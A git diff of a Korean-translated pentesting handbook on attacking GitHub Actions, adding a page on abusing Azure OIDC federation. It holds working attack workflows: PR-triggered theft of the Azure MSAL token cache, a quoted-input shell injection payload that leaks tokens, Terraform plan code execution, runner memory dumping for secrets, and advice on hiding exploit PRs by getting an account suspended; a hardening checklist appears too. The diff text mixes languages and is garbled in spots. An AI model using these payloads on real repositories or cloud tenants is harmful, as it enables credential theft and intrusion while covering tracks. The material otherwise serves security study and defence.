악용해 Artifact를 신뢰하는 다른 workflows를 손상시킬 수 있다. +문제는 **`path`** 파라미터가 설정되지 않으면 artifact가 현재 디렉터리에 추출되어 워크플로우에서 나중에 사용되거나 심지어 실행될 수 있는 파일을 덮어쓸 수 있다는 점이다. 따라서 Artifact가 취약하면 공격자는 이를 악용해 Artifact를 신뢰하는 다른 workflows를 손상시킬 수 있다. Example of vulnerable workflow: ```yaml @@ -376,7 +396,7 @@ with: name: artifact path: ./script.py ``` -이 workflow로 공격할 수 있습니다: +이는 다음 워크플로로 공격할 수 있습니다: ```yaml name: "some workflow" on: pull_request @@ -397,23 +417,23 @@ path: ./script.py ### Deleted Namespace Repo Hijacking -계정 이름을 변경하면 일정 시간이 지난 후 다른 사용자가 그 이름으로 계정을 등록할 수 있습니다. 만약 repository가 **이름 변경 이전에 100 stars 미만**이었다면, Github는 같은 이름으로 새로 가입한 사용자에게 삭제된 것과 동일한 이름의 **repository를 생성**할 수 있도록 허용합니다. +계정 이름이 변경되면 일정 시간이 지난 후 다른 사용자가 그 이름으로 계정을 등록할 수 있습니다. 만약 repository가 이름 변경 이전에 **less than 100 stars previously to the change of name**였다면, Github는 동일한 이름을 가진 새 사용자가 삭제된 것과 동일한 **repository with the same name**을 생성하는 것을 허용합니다. > [!CAUTION] -> 따라서 action이 존재하지 않는 계정의 repo를 사용하고 있다면, 공격자가 해당 계정을 생성하여 action을 compromise할 가능성이 여전히 있습니다. +> 따라서 만약 action이 존재하지 않는 계정의 repo를 사용하고 있다면, 공격자가 해당 계정을 생성하여 action을 탈취할 수 있습니다. -만약 다른 repositories가 **이 사용자의 repos로부터 dependencies를 사용하고 있었다면**, 공격자는 이를 hijack할 수 있습니다. 자세한 설명은 다음을 참고하세요: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +만약 다른 repository들이 이 사용자 repos의 **dependencies from this user repos**를 사용하고 있었다면, 공격자는 이를 하이재킹할 수 있습니다. 보다 자세한 설명은 다음을 참조하세요: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] -> 이 섹션에서는 첫 번째 repo에 어떤 식으로든 접근이 있다고 가정할 때, 다른 repo로 **pivot from one repo to another**할 수 있게 해주는 기술들에 대해 설명합니다 (이전 섹션을 확인하세요). +> 이 섹션에서는 첫 번째 repo에 어떤 식으로든 접근 권한이 있다고 가정할 때, 한 repo에서 다른 repo로 **pivot from one repo to another** 할 수 있는 기법들에 대해 설명합니다(이전 섹션을 확인하세요). ### Cache Poisoning -같은 branch에서의 **workflow runs 간에 cache가 유지됩니다**. 즉, 공격자가 cache에 저장된 어떤 **package**를 compromise하면, 그 패키지가 더 권한이 높은 workflow에 의해 다운로드되어 실행될 때 해당 workflow도 **compromise**될 수 있습니다. +같은 브랜치 내의 **wokflow runs in the same branch** 사이에는 cache가 유지됩니다. 즉 공격자가 **compromise**한 **package**가 캐시에 저장되고, 이후 더 권한이 높은 **more privileged** workflow가 이를 **downloaded**하여 실행하면 해당 workflow 역시 **compromise**될 수 있습니다. {{#ref}} gh-actions-cache-poisoning.md @@ -421,7 +441,7 @@ gh-actions-cache-poisoning.md ### Artifact Poisoning -Workflows는 **다른 workflows 또는 repo의 artifacts**를 사용할 수 있습니다. 공격자가 나중에 다른 workflow에서 사용되는 artifact를 **uploads an artifact**하는 Github Action을 compromise하면, 다른 workflows 역시 **compromise**할 수 있습니다: +Workflows는 다른 workflows나 심지어 repos의 **artifacts from other workflows and even repos**를 사용할 수 있습니다. 공격자가 나중에 다른 workflow에서 사용되는 아티팩트를 **uploads an artifact**하는 Github Action을 **compromise**하면, 해당 공격자는 다른 workflows들도 **compromise**할 수 있습니다: {{#ref}} gh-actions-artifact-poisoning.md @@ -433,9 +453,9 @@ gh-actions-artifact-poisoning.md ### Github Action Policies Bypass -이것은 [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass)에서 언급했듯이, repository나 organization이 특정 actions의 사용을 제한하는 policy를 가지고 있더라도, 공격자는 workflow 내부에서 해당 action을 단순히 다운로드(`git clone`)한 다음 로컬 action으로 참조할 수 있습니다. Policies가 로컬 경로에는 영향을 미치지 않기 때문에, **이 action은 어떠한 제한 없이 실행됩니다.** +앞서 [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass)에서 언급했듯이, repository나 organization이 특정 actions의 사용을 제한하는 정책을 가지고 있더라도, 공격자는 단순히 workflow 내부에서 해당 action을 `git clone`으로 다운로드한 다음 로컬 action으로 참조할 수 있습니다. 정책은 로컬 경로에 영향을 미치지 않으므로, **the action will be executed without any restriction.** -Example: +예: ```yaml on: [push, pull_request] @@ -456,27 +476,31 @@ path: gha-hazmat - run: ls tmp/checkout ``` -### OIDC를 통한 AWS 및 GCP 접근 +### OIDC를 통한 AWS, Azure 및 GCP 접근 -Check the following pages: +다음 페이지를 확인하세요: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +{{#ref}} +../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md +{{#endref}} + {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} -### secrets에 접근 +### secrets에 접근하기 -만약 script에 콘텐츠를 주입하고 있다면, secrets에 접근하는 방법을 아는 것이 유용합니다: +스크립트에 콘텐츠를 주입하는 경우 secrets에 접근하는 방법을 알아두면 좋습니다: -- 만약 secret 또는 token이 **environment variable**로 설정되어 있다면, **`printenv`**를 사용해 환경에서 직접 접근할 수 있습니다. +- secret 또는 token이 **환경 변수**로 설정되어 있으면, **`printenv`**를 사용해 환경에서 직접 접근할 수 있습니다.
-Github Action output에 secrets 나열 +Github Action 출력에서 secrets 나열 ```yaml name: list_env on: @@ -503,7 +527,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-secrets를 사용해 reverse shell 얻기 +secrets로 reverse shell 얻기 ```yaml name: revshell on: @@ -566,7 +590,7 @@ echo "ZXdv...Zz09" | base64 -d | base64 -d Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners). -### Self-hosted runners 악용 +### Abusing Self-hosted runners The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. @@ -577,12 +601,12 @@ In self-hosted runners it's also possible to obtain the **secrets from the \_Run sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` -자세한 내용은 [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). +Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Images Registry -Github actions를 사용하면 **Docker 이미지를 Github 안에 빌드하고 저장할 수 있습니다**.\ -예제는 다음 확장 가능한 섹션에서 확인할 수 있습니다: +Github actions를 만들어 **Docker 이미지를 Github 내부에 빌드하고 저장**할 수 있습니다.\ +다음 확장 섹션에서 예제를 확인할 수 있습니다:
@@ -617,33 +641,33 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e ```
-이전 코드에서 보았듯이, Github 레지스트리는 **`ghcr.io`**에 호스팅되어 있습니다. +이전 코드에서 볼 수 있듯이, Github 레지스트리는 **`ghcr.io`**에 호스팅되어 있습니다. -레포(repo)에 대해 읽기 권한(read permissions)이 있는 사용자는 personal access token(개인 액세스 토큰)을 사용해 Docker Image를 다운로드할 수 있습니다: +repo에 대한 읽기 권한이 있는 사용자는 personal access token을 사용하여 Docker Image를 다운로드할 수 있습니다: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` -그런 다음, 사용자는 **leaked secrets in the Docker image layers:** 를 검색할 수 있습니다: +그런 다음, 사용자는 **leaked secrets in the Docker image layers:** 를 검색할 수 있습니다 {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} -### Github Actions logs의 민감한 정보 +### Github Actions 로그의 민감한 정보 -비록 **Github**가 actions logs에서 **detect secret values**하고 **avoid showing**하려 해도, 액션 실행 중 생성되었을 수 있는 **other sensitive data**는 숨겨지지 않습니다. 예를 들어, secret value로 서명된 JWT는 [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) 되어 있지 않으면 숨겨지지 않습니다. +심지어 **Github**가 actions 로그에서 **detect secret values**를 시도하고 이를 **표시하지 않도록** 하더라도, 액션 실행 중 생성될 수 있는 **다른 민감한 데이터**는 숨겨지지 않습니다. 예를 들어 비밀 값으로 서명된 JWT는 [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)되지 않는 한 숨겨지지 않습니다. ## 흔적 지우기 -(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) 우선, 생성한 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 분명히 보입니다. GitHub에서는 기본적으로 인터넷상의 PR을 **can’t delete a PR of the internet**, 하지만 반전이 있습니다. Github 계정이 Github에 의해 **suspended**되면, 해당 계정의 모든 **PRs are automatically deleted**되어 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub account suspended or get your account flagged** 되게 해야 합니다. 이렇게 하면 GitHub에서의 모든 활동이 인터넷에서 **hide all your activities** (기본적으로 모든 exploit PR을 제거) 됩니다. +(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) 우선, 생성된 모든 PR은 Github에서 공개적으로 그리고 대상 GitHub 계정에 명확히 보입니다. GitHub에서는 기본적으로 인터넷상의 PR을 삭제할 수 없지만, 반전이 있습니다. GitHub에 의해 계정이 **정지(suspended)**되면, 해당 계정의 모든 **PR**은 자동으로 삭제되어 인터넷에서 제거됩니다. 따라서 활동을 숨기려면 **GitHub 계정을 정지시키거나 계정에 플래그를 달리게** 해야 합니다. 이렇게 하면 GitHub 상의 모든 활동이 인터넷에서 숨겨집니다(기본적으로 exploit PR을 모두 제거). -GitHub의 조직은 계정을 GitHub에 신고하는 데 매우 적극적입니다. Issue에 “some stuff”를 올리기만 하면 12시간 내에 계정이 정지되도록 조치해 줄 것이고 :p 그러면 exploit을 invisible on github 하게 됩니다. +GitHub의 어떤 organization은 계정을 GitHub에 보고하는 데 매우 적극적입니다. Issue에 “몇 가지”를 공유하기만 하면, 그들은 12시간 내에 당신의 계정을 정지시켜줄 것입니다 :p 그러면 당신의 exploit이 github에서 보이지 않게 됩니다. > [!WARNING] -> 조직이 자신들이 타깃이 되었는지 알아내는 유일한 방법은 SIEM에서 GitHub logs를 확인하는 것입니다. GitHub UI에서는 PR이 제거되기 때문입니다. +> 조직이 자신들이 타깃이 되었는지 알아내는 유일한 방법은 GitHub UI에서는 PR이 제거되기 때문에 SIEM에서 GitHub 로그를 확인하는 것입니다. -## 참고자료 +## References - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md new file mode 100644 index 000000000..2973b6853 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md @@ -0,0 +1,228 @@ +# Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity) + +{{#include ../../../banners/hacktricks-training.md}} + +## 개요 + +GitHub Actions는 OpenID Connect (OIDC)를 사용해 Azure Entra ID (formerly Azure AD)에 페더레이션할 수 있습니다. GitHub workflow는 실행에 대한 세부 정보를 인코딩한 단기 유효 GitHub ID token (JWT)을 요청합니다. Azure는 이 토큰을 App Registration (service principal)에 있는 Federated Identity Credential (FIC)에 대해 검증하고, 이를 Azure access tokens (MSAL cache, bearer tokens for Azure APIs)로 교환합니다. + +Azure는 최소한 다음을 검증합니다: +- iss: https://token.actions.githubusercontent.com +- aud: api://AzureADTokenExchange (when exchanging for Azure tokens) +- sub: configured FIC Subject identifier와 일치해야 함 + +> The default GitHub aud may be a GitHub URL. When exchanging with Azure, explicitly set audience=api://AzureADTokenExchange. + +## GitHub ID token 빠른 PoC +```yaml +name: Print OIDC identity token +on: { workflow_dispatch: {} } +permissions: +id-token: write +jobs: +view-token: +runs-on: ubuntu-latest +steps: +- name: get-token +run: | +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL") +# Base64 avoid GitHub masking +echo "$OIDC_TOKEN" | base64 -w0 +``` +토큰 요청에서 Azure audience를 강제하려면: +```bash +OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ +"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange") +``` +## Azure setup (Workload Identity Federation) + +1) App Registration (service principal)을 생성하고 최소 권한을 부여합니다(예: 특정 storage account에 대해 Storage Blob Data Contributor). + +2) Federated identity credentials를 추가: +- Issuer: https://token.actions.githubusercontent.com +- Audience: api://AzureADTokenExchange +- Subject identifier: 의도된 workflow/run 컨텍스트에 엄격하게 범위를 제한합니다(아래의 범위 지정 및 위험 참조). + +3) azure/login을 사용해 GitHub ID 토큰을 교환하고 Azure CLI에 로그인합니다: +```yaml +name: Deploy to Azure +on: +push: { branches: [main] } +permissions: +id-token: write +contents: read +jobs: +deploy: +runs-on: ubuntu-latest +steps: +- name: Az CLI login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Upload file to Azure +run: | +az storage blob upload --data "test" -c hmm -n testblob \ +--account-name sofiatest --auth-mode login +``` +수동 교환 예시 (Graph 범위 표시; ARM 또는 다른 리소스도 마찬가지): +```http +POST //oauth2/v2.0/token HTTP/2 +Host: login.microsoftonline.com +Content-Type: application/x-www-form-urlencoded + +client_id=&grant_type=client_credentials& +client_assertion=&client_info=1& +client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer& +scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default +``` +## GitHub OIDC subject (sub) 구조 및 사용자 지정 + +Default sub format: repo:/: + +Context 값에는 다음이 포함됩니다: +- environment: +- pull_request (PR은 environment가 아닐 때 트리거됩니다) +- ref:refs/(heads|tags)/ + +페이로드에 자주 포함되는 유용한 claims: +- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor + +추가 claims를 포함하고 충돌 위험을 줄이기 위해 GitHub API를 통해 sub 구성 방식을 사용자 지정하세요: +```bash +gh api orgs//actions/oidc/customization/sub +gh api repos///actions/oidc/customization/sub +# Example to include owner and visibility +gh api \ +--method PUT \ +repos///actions/oidc/customization/sub \ +-f use_default=false \ +-f include_claim_keys='["repository_owner","repository_visibility"]' +``` +참고: 환경 이름의 콜론은 URL‑인코딩(%3A)되어 있어 이전의 delimiter-injection 기법에 의한 sub 파싱 공격을 제거합니다. 그러나 environment:처럼 고유하지 않은 subject를 사용하는 것은 여전히 안전하지 않습니다. + +## FIC subject 유형의 범위 및 위험 + +- 브랜치/태그: sub=repo:/:ref:refs/heads/ or ref:refs/tags/ +- 위험: 브랜치/태그가 보호되어 있지 않다면 어떤 contributor라도 push하여 토큰을 획득할 수 있습니다. +- 환경: sub=repo:/:environment: +- 위험: 보호되지 않은 environment(검토자 없음)는 기여자가 토큰을 발급할 수 있도록 허용합니다. +- Pull request: sub=repo:/:pull_request +- 최고 위험: 어떤 collaborator도 PR을 열어 FIC를 충족시킬 수 있습니다. + +PoC: PR‑triggered token theft (exfiltrate the Azure CLI cache written by azure/login): +```yaml +name: Steal tokens +on: pull_request +permissions: +id-token: write +contents: read +jobs: +extract-creds: +runs-on: ubuntu-latest +steps: +- name: azure login +uses: azure/login@v2 +with: +client-id: ${{ secrets.AZURE_CLIENT_ID }} +tenant-id: ${{ secrets.AZURE_TENANT_ID }} +subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }} +- name: Extract access token +run: | +# Azure CLI caches tokens here on Linux runners +cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0 +# Decode twice locally to recover the bearer token +``` +관련 파일 위치 및 참고 사항: +- Linux/macOS: ~/.azure/msal_token_cache.json에는 az CLI 세션용 MSAL 토큰이 저장됩니다 +- Windows: 사용자 프로필의 msal_token_cache.bin; DPAPI로 보호됨 + +## 재사용 가능한 워크플로와 job_workflow_ref 범위 지정 + +재사용 가능한 워크플로를 호출하면 GitHub ID 토큰에 job_workflow_ref가 추가됩니다. 예: +``` +ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main +``` +FIC 예: 호출자 저장소(caller repo)와 재사용 가능한 워크플로(reusable workflow)를 모두 바인딩하기: +``` +sub=repo:/:job_workflow_ref://.github/workflows/@ +``` +caller repo에서 claims를 구성하여 repo와 job_workflow_ref가 sub에 모두 포함되도록 하세요: +```http +PUT /repos///actions/oidc/customization/sub HTTP/2 +Host: api.github.com +Authorization: token + +{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]} +``` +경고: FIC에서 job_workflow_ref만 바인딩하면, 공격자는 동일한 org 내에 다른 repo를 생성하고 동일한 reusable workflow를 같은 ref에서 실행하여 FIC를 충족시키고 tokens를 발급(mint)할 수 있습니다. 항상 caller repo도 포함하세요. + +## job_workflow_ref 보호를 우회하는 코드 실행 벡터 + +적절하게 범위가 지정된 job_workflow_ref가 있어도, 안전하게 인용되지 않은 상태로 shell에 전달되는 모든 caller‑controlled 데이터는 보호된 workflow 컨텍스트 내부에서 코드 실행으로 이어질 수 있습니다. + +Example vulnerable reusable step (unquoted interpolation): +```yaml +- name: Example Security Check +run: | +echo "Checking file contents" +if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then +echo "Malicious content detected!"; exit 1 +else +echo "File contents are safe." +fi +``` +명령을 실행하고 Azure 토큰 캐시를 유출하기 위한 악의적인 호출자 입력: +```yaml +with: +file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a' +``` +## Terraform plan을 PR에서 실행 원시(primitive) 동작으로 취급 + +terraform plan을 코드 실행으로 취급하세요. +plan 중에 Terraform은 다음을 수행할 수 있습니다: +- file() 같은 함수로 임의의 파일을 읽을 수 있습니다. +- external data source를 통해 명령을 실행할 수 있습니다. + +plan 중에 Azure token cache를 exfiltrate하는 예: +```hcl +output "msal_token_cache" { +value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json"))) +} +``` +또는 external을 사용해 임의의 명령을 실행하세요: +```hcl +data "external" "exfil" { +program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"] +} +``` +Granting FICs usable on PR‑triggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts. + +## Hardening checklist + +- 민감한 FICs에는 sub=...:pull_request를 절대 사용하지 마세요 +- FICs가 참조하는 모든 branch/tag/environment를 보호하세요 (branch protection, environment reviewers) +- 재사용 가능한 workflows에 대해서는 repo와 job_workflow_ref 모두에 범위가 지정된 FICs를 권장합니다 +- GitHub OIDC sub를 사용자화하여 고유한 claims(예: repo, job_workflow_ref, repository_owner)을 포함시키세요 +- run 단계에 호출자 입력을 인용 없이 보간하는 것을 제거하세요; 안전하게 인코드/인용하세요 +- terraform plan을 코드 실행으로 간주하고 PR 컨텍스트에서는 신원을 제한하거나 격리하세요 +- App Registrations에 최소 권한을 적용하고 plan과 apply에 대해 신원을 분리하세요 +- actions와 재사용 가능한 workflows를 commit SHAs에 고정(pin)하세요 (branch/tag 핀은 피하세요) + +## Manual testing tips + +- 워크플로우에서 GitHub ID token을 요청하고 마스킹을 피하기 위해 base64로 출력하세요 +- JWT를 디코드하여 다음 claims를 확인하세요: iss, aud, sub, job_workflow_ref, repository, ref +- 수동으로 ID token을 login.microsoftonline.com에 교환하여 FIC 매칭 및 scopes를 확인하세요 +- azure/login 후에 ~/.azure/msal_token_cache.json을 읽어 토큰 자료가 존재하는지 확인하세요 + +## References + +- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2) +- [azure/login action](https://github.com/Azure/login) +- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external) +- [gh CLI](https://cli.github.com/) +- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils) + +{{#include ../../../banners/hacktricks-training.md}}